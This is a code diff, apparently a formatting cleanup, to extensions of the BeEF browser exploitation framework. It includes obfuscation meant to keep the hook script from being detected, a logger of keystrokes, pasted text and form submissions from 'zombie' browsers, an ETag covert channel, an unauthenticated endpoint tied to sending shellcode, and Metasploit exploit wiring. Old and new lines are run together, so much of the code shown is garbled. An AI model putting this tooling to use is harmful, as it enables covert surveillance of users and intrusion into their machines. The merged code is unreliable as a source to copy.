return "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L" "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
end end
get '/:id/start' do get '/:id/start' do
data = ETagMessages.instance.messages[params[:id].to_i] data = ETagMessages.instance.messages[params[:id].to_i]
$etag_server_state = {} unless defined?($etag_server_state) $etag_server_state = {} unless defined?($etag_server_state)
$etag_server_state[params[:id]] = {} $etag_server_state[params[:id]] = {}
$etag_server_state[params[:id]][:cur_bit] = -1 $etag_server_state[params[:id]][:cur_bit] = -1
$etag_server_state[params[:id]][:last_header] = create_ET_header $etag_server_state[params[:id]][:last_header] = create_ET_header
$etag_server_state[params[:id]][:message] = data $etag_server_state[params[:id]][:message] = data
headers "ETag" => $etag_server_state[params[:id]][:last_header] headers 'ETag' => $etag_server_state[params[:id]][:last_header]
body "Message start" body 'Message start'
end end
get '/:id' do get '/:id' do
return "Not started yet" if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil? return 'Not started yet' if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
$etag_server_state[params[:id]][:cur_bit] += 1
else
$etag_server_state.delete(params[:id])
status 404
return "Bing"
end
if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
$etag_server_state[params[:id]][:last_header] = create_ET_header
end
headers "ETag" => $etag_server_state[params[:id]][:last_header] if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
body "Bit" $etag_server_state[params[:id]][:cur_bit] += 1
else
$etag_server_state.delete(params[:id])
status 404
return 'Bing'
end
$etag_server_state[params[:id]][:last_header] = create_ET_header if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
headers 'ETag' => $etag_server_state[params[:id]][:last_header]
body 'Bit'
end end
end end
end end
end end
end end

View File

@@ -4,20 +4,18 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module ETag module ETag
extend BeEF::API::Extension
extend BeEF::API::Extension @short_name = 'ETag'
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
@short_name = 'ETag' @description = 'This extension provides a custom BeEF HTTP server ' \
@full_name = 'Server-to-Client ETag-based Covert Timing Channel' 'that implements unidirectional covert timing channel from ' \
@description = 'This extension provides a custom BeEF\'s HTTP server ' + 'BeEF communication server to zombie browser over Etag header.'
'that implement unidirectional covert timing channel from ' + end
'BeEF communication server to zombie browser over Etag header' end
end
end
end end
require 'extensions/etag/api.rb' require 'extensions/etag/api'
require 'extensions/etag/etag.rb' require 'extensions/etag/etag'

View File

@@ -14,6 +14,7 @@ module BeEF
def initialize def initialize
return unless @@enabled return unless @@enabled
@techniques ||= load_techniques @techniques ||= load_techniques
if @techniques.empty? if @techniques.empty?
@@ -40,7 +41,7 @@ module BeEF
end end
chain chain
rescue => e rescue StandardError => e
print_error "[Evasion] Failed to load obfuscation technique chain: #{e.message}" print_error "[Evasion] Failed to load obfuscation technique chain: #{e.message}"
[] []
end end
@@ -52,7 +53,7 @@ module BeEF
def add_bootstrapper def add_bootstrapper
bootstrap = '' bootstrap = ''
# add stuff at the end, only once (when serving the initial init javascript) # add stuff at the end, only once (when serving the initial init javascript)
@techniques.each do |technique| @techniques.each do |technique|
# Call the "execute" method of the technique module, passing the input and update # Call the "execute" method of the technique module, passing the input and update
# the input in preperation for the next technique in the chain # the input in preperation for the next technique in the chain
@@ -64,7 +65,7 @@ module BeEF
end end
bootstrap bootstrap
rescue => e rescue StandardError => e
print_error "[Evasion] Failed to bootstrap obfuscation technique: #{e.message}" print_error "[Evasion] Failed to bootstrap obfuscation technique: #{e.message}"
print_error e.backtrace print_error e.backtrace
end end
@@ -81,7 +82,7 @@ module BeEF
print_debug "[Evasion] Obfuscation completed (#{output.length} bytes)" print_debug "[Evasion] Obfuscation completed (#{output.length} bytes)"
output output
rescue => e rescue StandardError => e
print_error "[Evasion] Failed to apply obfuscation technique: #{e.message}" print_error "[Evasion] Failed to apply obfuscation technique: #{e.message}"
print_error e.backtrace print_error e.backtrace
end end
@@ -89,4 +90,3 @@ module BeEF
end end
end end
end end

View File

@@ -4,19 +4,19 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Evasion module Evasion
extend BeEF::API::Extension extend BeEF::API::Extension
@short_name = 'evasion' @short_name = 'evasion'
@full_name = 'Evasion' @full_name = 'Evasion'
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected' @description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
end end
end end
end end
require 'extensions/evasion/evasion' require 'extensions/evasion/evasion'
#require 'extensions/evasion/obfuscation/scramble' # require 'extensions/evasion/obfuscation/scramble'
require 'extensions/evasion/obfuscation/minify' require 'extensions/evasion/obfuscation/minify'
require 'extensions/evasion/obfuscation/base_64' require 'extensions/evasion/obfuscation/base_64'
require 'extensions/evasion/obfuscation/whitespace' require 'extensions/evasion/obfuscation/whitespace'

View File

@@ -19,16 +19,15 @@ module BeEF
'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};' 'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};'
end end
def execute(input, config) def execute(input, _config)
encoded = Base64.strict_encode64(input) encoded = Base64.strict_encode64(input)
# basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-) # basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-)
var_name = BeEF::Core::Crypto::random_alphanum_string(3) var_name = BeEF::Core::Crypto.random_alphanum_string(3)
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();" input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();"
print_debug "[OBFUSCATION - Base64] Javascript has been base64 encoded" print_debug '[OBFUSCATION - Base64] Javascript has been base64 encoded'
input input
end end
end end
end end
end end
end end

View File

@@ -16,10 +16,10 @@ module BeEF
def execute(input, config) def execute(input, config)
opts = { opts = {
:output => { output: {
comments: :none comments: :none
}, },
:compress => { compress: {
# show warnings in debug mode # show warnings in debug mode
warnings: (config.get('beef.debug') ? true : false), warnings: (config.get('beef.debug') ? true : false),
# remove dead code # remove dead code
@@ -31,9 +31,9 @@ module BeEF
} }
} }
output = Uglifier.compile(input, opts) output = Uglifier.compile(input, opts)
print_debug "[OBFUSCATION - Minifier] JavaScript has been minified" print_debug '[OBFUSCATION - Minifier] JavaScript has been minified'
output output
rescue => e rescue StandardError => e
print_error "[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}" print_error "[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}"
input input
end end
@@ -41,4 +41,3 @@ module BeEF
end end
end end
end end

View File

@@ -18,29 +18,29 @@ module BeEF
to_scramble = config.get('beef.extension.evasion.scramble') to_scramble = config.get('beef.extension.evasion.scramble')
to_scramble.each do |var, value| to_scramble.each do |var, value|
if var == value if var == value
# Variables have not been scrambled yet # Variables have not been scrambled yet
mod_var = BeEF::Core::Crypto::random_alphanum_string(3) mod_var = BeEF::Core::Crypto.random_alphanum_string(3)
@output.gsub!(var,mod_var) @output.gsub!(var, mod_var)
config.set("beef.extension.evasion.scramble.#{var}",mod_var) config.set("beef.extension.evasion.scramble.#{var}", mod_var)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]" print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
else else
# Variables already scrambled, re-use the one already created to maintain consistency # Variables already scrambled, re-use the one already created to maintain consistency
@output.gsub!(var,value) @output.gsub!(var, value)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]" print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
end end
@output @output
end end
if config.get('beef.extension.evasion.scramble_cookies') if config.get('beef.extension.evasion.scramble_cookies')
# ideally this should not be static, but it's static in JS code, so fine for nowend # ideally this should not be static, but it's static in JS code, so fine for nowend
mod_cookie = BeEF::Core::Crypto::random_alphanum_string(5) mod_cookie = BeEF::Core::Crypto.random_alphanum_string(5)
if config.get('beef.http.hook_session_name') == "BEEFHOOK" if config.get('beef.http.hook_session_name') == 'BEEFHOOK'
@output.gsub!("BEEFHOOK",mod_cookie) @output.gsub!('BEEFHOOK', mod_cookie)
config.set('beef.http.hook_session_name',mod_cookie) config.set('beef.http.hook_session_name', mod_cookie)
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]" print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]"
else else
@output.gsub!("BEEFHOOK",config.get('beef.http.hook_session_name')) @output.gsub!('BEEFHOOK', config.get('beef.http.hook_session_name'))
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]" print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]"
end end
end end
@@ -51,4 +51,3 @@ module BeEF
end end
end end
end end

View File

@@ -12,11 +12,10 @@ module BeEF
def need_bootstrap? def need_bootstrap?
true true
end end
def get_bootstrap def get_bootstrap
# the decode function is in plain text - called IE-spacer - because trolling is always a good idea # the decode function is in plain text - called IE-spacer - because trolling is always a good idea
decode_function = "//Dirty IE6 whitespace bug hack
"//Dirty IE6 whitespace bug hack
if (typeof IE_spacer === 'function') {} else { if (typeof IE_spacer === 'function') {} else {
function IE_spacer(css_space) { function IE_spacer(css_space) {
var spacer = ''; var spacer = '';
@@ -39,19 +38,18 @@ function IE_spacer(css_space) {
}}" }}"
end end
def execute(input, config) def execute(input, _config)
size = input.length size = input.length
encoded = encode(input) encoded = encode(input)
var_name = BeEF::Core::Crypto::random_alphanum_string(3) var_name = BeEF::Core::Crypto.random_alphanum_string(3)
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();" input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();"
print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced" print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced"
input input
end end
def encode(input) def encode(input)
output = input.unpack('B*') output = input.unpack('B*')
output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ') output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
output
end end
end end
end end

View File

@@ -4,33 +4,28 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Events module Events
module PostLoad
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')
module PostLoad def self.post_load
print_error 'Event Logger extension is not compatible with WebSockets command and control channel' if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
end
end
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load') module RegisterHttpHandler
# Register API calls
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
def self.post_load #
if BeEF::Core::Configuration.instance.get("beef.http.websocket.enable") # Mounts the http handlers for the events extension. We use that to retrieve stuff
print_error 'Event Logger extension is not compatible with WebSockets command and control channel' # like keystroke, mouse clicks and form submission.
#
def self.mount_handler(beef_server)
beef_server.mount('/event', BeEF::Extension::Events::Handler)
end
end end
end end
end end
module RegisterHttpHandler
# Register API calls
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
#
# Mounts the http handlers for the events extension. We use that to retrieve stuff
# like keystroke, mouse clicks and form submission.
#
def self.mount_handler(beef_server)
beef_server.mount('/event', BeEF::Extension::Events::Handler)
end
end
end
end
end end

View File

@@ -4,19 +4,17 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Events module Events
extend BeEF::API::Extension
extend BeEF::API::Extension
@short_name = 'events_logger'
@short_name = 'events_logger'
@full_name = 'events logger'
@full_name = 'events logger'
@description = 'registers mouse clicks, keystrokes, form submissions'
@description = 'registers mouse clicks, keystrokes, form submissions' end
end
end
end
end end
require 'extensions/events/handler' require 'extensions/events/handler'

View File

@@ -4,85 +4,80 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Events module Events
#
# # The http handler that manages the Events.
# The http handler that manages the Events. #
# class Handler
class Handler Z = BeEF::Core::Models::HookedBrowser
Z = BeEF::Core::Models::HookedBrowser def initialize(data)
@data = data
def initialize(data) setup
@data = data
setup()
end
#
# Sets up event logging
#
def setup()
# validates the hook token
beef_hook = @data['beefhook'] || nil
if beef_hook.nil?
print_error "[EVENTS] beef_hook is null"
return
end
# validates that a hooked browser with the beef_hook token exists in the db
zombie = Z.where(:session => beef_hook).first || nil
if zombie.nil?
print_error "[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database"
return
end
events = @data['results']
# push events to logger
logger = BeEF::Core::Logger.instance
events.each do |value|
logger.register('Event', parse(value), zombie.id)
end end
end
def parse(event) #
case event['type'] # Sets up event logging
when 'click' #
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}" def setup
when 'focus' # validates the hook token
result = "#{event['time']}s - [Focus] Browser window has regained focus." beef_hook = @data['beefhook'] || nil
when 'copy' if beef_hook.nil?
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\"" print_error '[EVENTS] beef_hook is null'
when 'cut' return
result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\""
when 'paste'
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
when 'blur'
result = "#{event['time']}s - [Blur] Browser window has lost focus."
when 'console'
result = "#{event['time']}s - [Console] #{event['data']}"
when 'keys'
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
print_debug "EventData: #{event['data']}"
if event['mods'].size > 0
print_debug "Event has mods"
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
else
result = "#{event['time']}s - [User Typed] #{event['data']}"
end end
when 'submit'
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}" # validates that a hooked browser with the beef_hook token exists in the db
else zombie = Z.where(session: beef_hook).first || nil
print_debug '[EVENTS] Event handler has received an unknown event' if zombie.nil?
result = "#{event['time']}s - Unknown event" print_error '[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database'
return
end
events = @data['results']
# push events to logger
logger = BeEF::Core::Logger.instance
events.each do |value|
logger.register('Event', parse(value), zombie.id)
end
end
def parse(event)
case event['type']
when 'click'
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
when 'focus'
result = "#{event['time']}s - [Focus] Browser window has regained focus."
when 'copy'
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
when 'cut'
result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\""
when 'paste'
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
when 'blur'
result = "#{event['time']}s - [Blur] Browser window has lost focus."
when 'console'
result = "#{event['time']}s - [Console] #{event['data']}"
when 'keys'
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
print_debug "EventData: #{event['data']}"
if event['mods'].size.positive?
print_debug 'Event has mods'
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
else
result = "#{event['time']}s - [User Typed] #{event['data']}"
end
when 'submit'
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}"
else
print_debug '[EVENTS] Event handler has received an unknown event'
result = "#{event['time']}s - Unknown event"
end
result
end
end end
result
end end
end end
end
end
end end

View File

@@ -4,47 +4,38 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
# TODO: remove it from here:
# Handlers
# require 'extensions/ipec/fingerprinter'
# require 'extensions/ipec/launcher'
require 'extensions/ipec/junk_calculator'
#todo remove it from here: module Ipec
# Handlers extend BeEF::API::Extension
#require 'extensions/ipec/fingerprinter'
#require 'extensions/ipec/launcher'
require 'extensions/ipec/junk_calculator'
module Ipec @short_name = 'Ipec'
extend BeEF::API::Extension @full_name = 'Inter-Protocol Exploitation'
@description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols."
@short_name = 'Ipec' module RegisterIpecRestHandler
@full_name = 'Inter-Protocol Exploitation' def self.mount_handler(server)
@description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols." server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new)
end
module RegisterIpecRestHandler
def self.mount_handler(server)
server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new)
end end
BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler')
# TODO: remove it from here, and make it dynamic.
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator('imapeudora1')
end end
BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler')
#todo remove it from here, and make it dynamic.
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator("imapeudora1")
end end
end end
end
# Models # Models
# todo: to be used when we'll have more IPEC exploits # todo: to be used when we'll have more IPEC exploits
#require 'extensions/ipec/models/ipec_exploits' # require 'extensions/ipec/models/ipec_exploits'
#require 'extensions/ipec/models/ipec_exploits_run' # require 'extensions/ipec/models/ipec_exploits_run'
# RESTful api endpoints # RESTful api endpoints
require 'extensions/ipec/rest/ipec' require 'extensions/ipec/rest/ipec'

View File

@@ -10,19 +10,18 @@ module BeEF
include Singleton include Singleton
def initialize def initialize
@binded_sockets = {} @binded_sockets = {}
@host = BeEF::Core::Configuration.instance.get('beef.http.host') @host = BeEF::Core::Configuration.instance.get('beef.http.host')
end end
def bind_junk_calculator(name) def bind_junk_calculator(name)
port = 2000 port = 2000
#todo add binded ports to @binded_sockets. Increase +1 port number if already binded # TODO: add binded ports to @binded_sockets. Increase +1 port number if already binded
#if @binded_sockets[port] != nil # if @binded_sockets[port] != nil
#else # else
#end # end
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket(name, @host, port) BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket(name, @host, port)
@binded_sockets[name] = port @binded_sockets[name] = port
end end
end end
end end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core module Core
module Models module Models
class IpecExploits < BeEF::Core::Model class IpecExploits < BeEF::Core::Model
has_many :ipec_exploits_run has_many :ipec_exploits_run
end end
end end
end end
end end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core module Core
module Models module Models
class IpecExploitsRun < BeEF::Core::Model class IpecExploitsRun < BeEF::Core::Model
belongs_to :ipec_exploit belongs_to :ipec_exploit
end end
end end
end end
end end

View File

@@ -8,13 +8,12 @@ module BeEF
module Extension module Extension
module Ipec module Ipec
class IpecRest < BeEF::Core::Router::Router class IpecRest < BeEF::Core::Router::Router
before do before do
# NOTE: the method exposed by this class are NOT-AUTHENTICATED. # NOTE: the method exposed by this class are NOT-AUTHENTICATED.
# They need to be called remotely from a hooked browser. # They need to be called remotely from a hooked browser.
#error 401 unless params[:token] == config.get('beef.api_token') # error 401 unless params[:token] == config.get('beef.api_token')
#halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) # halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8', headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache', 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache', 'Cache-Control' => 'no-cache',
@@ -26,53 +25,45 @@ module BeEF
# See modules/exploits/beefbind/beef_bind_staged_deploy/command.js for more info. # See modules/exploits/beefbind/beef_bind_staged_deploy/command.js for more info.
# todo: the core of this method should be moved to ../junk_calculator.rb # todo: the core of this method should be moved to ../junk_calculator.rb
get '/junk/:name' do get '/junk/:name' do
socket_name = params[:name] socket_name = params[:name]
halt 401 if not BeEF::Filters.alphanums_only?(socket_name) halt 401 unless BeEF::Filters.alphanums_only?(socket_name)
socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name) socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name)
halt 404 if socket_data == nil halt 404 if socket_data.nil?
if socket_data.include?("\r\n\r\n") if socket_data.include?("\r\n\r\n")
result = Hash.new result = {}
headers = socket_data.split("\r\n\r\n").first headers = socket_data.split("\r\n\r\n").first
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name) BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name)
print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes." print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes."
# CRLF -> 4 bytes # CRLF -> 4 bytes
result['size'] = headers.size + 4 result['size'] = headers.size + 4
headers.split("\r\n").each do |line| headers.split("\r\n").each do |line|
if line.include?("Host") result['host'] = line.size + 2 if line.include?('Host')
result['host'] = line.size + 2 result['contenttype'] = line.size + 2 if line.include?('Content-Type')
end result['referer'] = line.size + 2 if line.include?('Referer')
if line.include?("Content-Type") end
result['contenttype'] = line.size + 2 result.to_json
end else
if line.include?("Referer") print_error '[IPEC] Looks like there is no CRLF in the data received!'
result['referer'] = line.size + 2 halt 404
end end
end
result.to_json
else
print_error "[IPEC] Looks like there is no CRLF in the data received!"
halt 404
end
end end
# The original Firefox Extension sources are in extensions/ipec/files/LinkTargetFinder dir. # The original Firefox Extension sources are in extensions/ipec/files/LinkTargetFinder dir.
# If you want to modify the pref.js file, do the following to re-pack the extension: # If you want to modify the pref.js file, do the following to re-pack the extension:
# $cd firefox_extension_directory # $cd firefox_extension_directory
# $zip -r ../result-name.xpi * # $zip -r ../result-name.xpi *
get '/ff_extension' do get '/ff_extension' do
response['Content-Type'] = "application/x-xpinstall" response['Content-Type'] = 'application/x-xpinstall'
ff_extension = "#{File.expand_path('../../../ipec/files', __FILE__)}/LinkTargetFinder.xpi" ff_extension = "#{File.expand_path('../../ipec/files', __dir__)}/LinkTargetFinder.xpi"
print_info "[IPEC] Serving Firefox Extension: #{ff_extension}" print_info "[IPEC] Serving Firefox Extension: #{ff_extension}"
send_file "#{ff_extension}", send_file ff_extension.to_s,
:type => 'application/x-xpinstall', type: 'application/x-xpinstall',
:disposition => 'inline' disposition: 'inline'
end end
end end
end end
end end
end end

View File

@@ -55,7 +55,7 @@ module BeEF
m_details = msf.call('module.info', 'exploit', m) m_details = msf.call('module.info', 'exploit', m)
next unless m_details next unless m_details
key = 'msf_' + m.split('/').last key = "msf_#{m.split('/').last}"
# system currently doesn't support multilevel categories # system currently doesn't support multilevel categories
# categories = ['Metasploit'] # categories = ['Metasploit']
# m.split('/')[0...-1].each{|c| # m.split('/')[0...-1].each{|c|
@@ -75,6 +75,7 @@ module BeEF
elsif m_details['description'] =~ /Opera/i elsif m_details['description'] =~ /Opera/i
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] } target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }
end end
# TODO: # TODO:
# - Add support for detection of target OS # - Add support for detection of target OS
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc) # - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
@@ -132,9 +133,7 @@ module BeEF
} }
msf_payload_options = msf.call('module.compatible_payloads', msf_key) msf_payload_options = msf.call('module.compatible_payloads', msf_key)
unless msf_payload_options print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" unless msf_payload_options
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
end
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options) options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
options options
@@ -170,7 +169,7 @@ module BeEF
uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}" uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}"
bopts << { sploit_url: uri } bopts << { sploit_url: uri }
c = BeEF::Core::Models::Command.new( BeEF::Core::Models::Command.new(
data: bopts.to_json, data: bopts.to_json,
hooked_browser_id: hb.id, hooked_browser_id: hb.id,
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),

View File

@@ -113,7 +113,7 @@ module BeEF
